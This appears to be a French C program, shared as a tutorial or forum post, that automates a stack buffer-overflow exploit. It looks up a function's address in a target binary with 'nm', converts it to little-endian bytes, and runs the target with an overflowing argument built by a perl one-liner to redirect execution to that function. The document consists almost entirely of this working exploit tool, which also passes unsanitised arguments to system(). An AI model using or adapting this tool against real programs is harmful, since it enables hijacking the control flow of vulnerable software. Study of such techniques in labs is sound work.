[C] EXECUTION D'UNE FONCTION PAR SON NOM

/*______________________________*/
/*||||||||||| Pop70 ||||||||||||*/
/*)))))))))))       ((((((((((((*/
/*\\\\\\ChercheFonction.c///////*/

/*
 * Programme qui permet d'utiliser un buffer-overflow 
 * pour executer une fonction dont le nom est connu.
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>

struct infosFichier {     // Structure pour faciliter la recherche dans un fichier 
	char * adresse;
	long int taille;
};


void lecture_fichier(struct infosFichier *); // Lis le fichier est conserve le contenu dans une structure.
int recherche_adresse(char *, struct infosFichier *, char*); // Recherche l'adresse de la fonction d'apres le contenu.
void execute_fonction(char*, char*, unsigned int); // Tente d'execute la fonction d'apres l'adresse trouvee.

int main(int argc, char *argv[]) {
	
	unsigned int nbMots = 40; // Ici un mot vaut 4 octets, represente le depassement de memoire.
	
	if(argc < 3) {
		printf("Ce programme permet d'executer une fonction par debordement,\n"
					"pour cela il faut donner le nom du programme, le nom de la fonction,\n"
					"et si voulu un nombre correspondant a la taille du debordement (par defaut %u mots)\n\n", nbMots); 
		exit(-1);
	}
	else if (argc > 3)
		nbMots = atoi(argv[3]);
	char *nomProgramme, *nomFonction, *commande;
	
	nomProgramme = (char *)malloc(strlen(argv[1]) + 1);
	nomFonction = (char *)malloc(strlen(argv[2]) + 1);
	commande = (char *)malloc(strlen(argv[1]) + 17);
	
	nomProgramme[strlen(argv[1])] = 0;
	nomFonction[strlen(argv[2])] = 0;
	commande[strlen(argv[1]) + 3] = 0;
	
	// Lance la recherche des fonctions grace a la commande 'nm'.
	
	strcpy(nomProgramme, argv[1]);
	strcpy(nomFonction, argv[2]);
	strcpy(commande, "nm ");
	strcpy(commande + strlen(commande), nomProgramme);
	strcpy(commande + strlen(commande), " > newSys.log"); // Ces informations partent dans un fichier temporaire. 
		
	printf("Recherche de la fonction...\n", commande);
	
	system(commande); // A changer si possible...
	
	struct infosFichier log; // Contient le fichier et sa taille dans une structure.
	
	lecture_fichier(&log);	
	remove("newSys.log"); // Garde le contenu sur la pile et supprime le fichier.
	
	char adresse[9] = {0};
	recherche_adresse(adresse, &log, nomFonction); // Recherche l'adresse de la fonction.
	printf("Adresse de la fonction : 0x%s\n", adresse);
	
	execute_fonction(nomProgramme, adresse, nbMots); // Execute si possible la fonction.	
	
	free(log.adresse); // Libere la memoire.
	free(nomProgramme);
	free(nomFonction);
	free(commande);


	return 0;
}	

void lecture_fichier(struct infosFichier *log) {
	
	int descripteurFichier = -1;  // Utilise les descripteur de fichier et non FILE*.
	
	descripteurFichier = open("newSys.log", O_RDONLY);
	
	if (descripteurFichier == -1) {
		perror("[!!!] - Erreur lors du chargement du fichier.\n");
		exit(-1); // Quitte si probleme.
	}
	
 	char *ptr;
 	long int tailleFichier;
 	
 	tailleFichier = lseek(descripteurFichier, 0, SEEK_END); // Calcule la taille du fichier,
	lseek(descripteurFichier, 0, SEEK_SET); // et remet le curseur au debut.
	
	ptr = (char *)malloc(tailleFichier);	
	
	if(read(descripteurFichier, ptr, tailleFichier) == -1) {         // Lis le fichier.
			perror("[!!!] - Erreur lors de la lecture du fichier.\n"); 
		exit(-1);
	}
	
		
	if (close(descripteurFichier) == -1) {
		perror("[!!!] - Erreur lors de la fermeture du fichier.\n");
		exit(-1);
	}
	
	log->adresse = ptr;            // Complete les informations sur le fichier.
	log->taille = tailleFichier;	
}


int recherche_adresse(char *adresse, struct infosFichier *log, char *nomFonction) {
	
	int i,j=0;
	
	int correspondances = 0;
	int resultat = -1;
	
	for(i=0; i < log->taille; i++) {    // Cherche une correspondance entre le nom de la fonction et contenu du fichier.
		if(log->adresse[i] == nomFonction[correspondances])
			correspondances++;
		else
			correspondances = 0;
		
		if(correspondances == strlen(nomFonction)) {
			resultat = i; // S'il y en a une l'endroit de celle-ci est memorise
			break;		
		}				
	}
	

	
	if(resultat == -1) {
		perror("[!!!] - Erreur, aucune correspondance.\n"); // Sinon le programme s'arrete.
		exit(-1);	
	}
	

	unsigned int debut = resultat - strlen(nomFonction) - 10;
	unsigned int fin = resultat - strlen(nomFonction) - 2;
	
	unsigned int adresseInt=0;
	
	j=0;
	for(i=debut; i < fin ;i++) {
		adresse[j] = log->adresse[i]; // Prend l'adresse qui doit se trouver au debut de la meme ligne.
		j++;
	}
	
	printf("\n");
	
	return resultat;
}	


void execute_fonction(char *nomProgramme, char *adresse, unsigned int nbMots) {
	
	
	char *commande; // La commande qui sera du genre : ./nomProgramme $(perl -e 'print "adresse_oct"xnbMots')
	char nbMotsCh[40] = {0};
	
	sprintf(nbMotsCh,"%u",nbMots);
	
	unsigned int taille_commande = 37 + strlen(nomProgramme) + strlen(adresse) + strlen(nbMotsCh);
	commande = (char *)malloc(taille_commande);
	bzero(commande, taille_commande);
	
	strcpy(commande, "./");
	strcpy(commande + strlen(commande), nomProgramme);
	strcpy(commande + strlen(commande), " $(perl -e \'print \"");  
	
	char adresse_oct[18] = {0};

	
	// Conversion de l'adresse de la forme 0xAAbbCCdd sous la forme 0xdd 0xCC 0xbb 0xAA (little-endian oblige...).
	int i, j = 7, k=0;
	for(i=0;i < 14; i+=4) {
		adresse_oct[i] = '\\';
		adresse_oct[i+1] = 'x';
		adresse_oct[i+2] = adresse[j-k-1];
		adresse_oct[i+3] = adresse[j-k];
		k+=2;
	}
	
	// Assemblage des chaines.
	strcpy(commande + strlen(commande), adresse_oct); 
	strcpy(commande + strlen(commande), "\"x");
	strcpy(commande + strlen(commande), nbMotsCh);
	strcpy(commande + strlen(commande), "\')");    
		
	system(commande); // Execute la commande.
		
	free(commande); // Libere la memoire.

}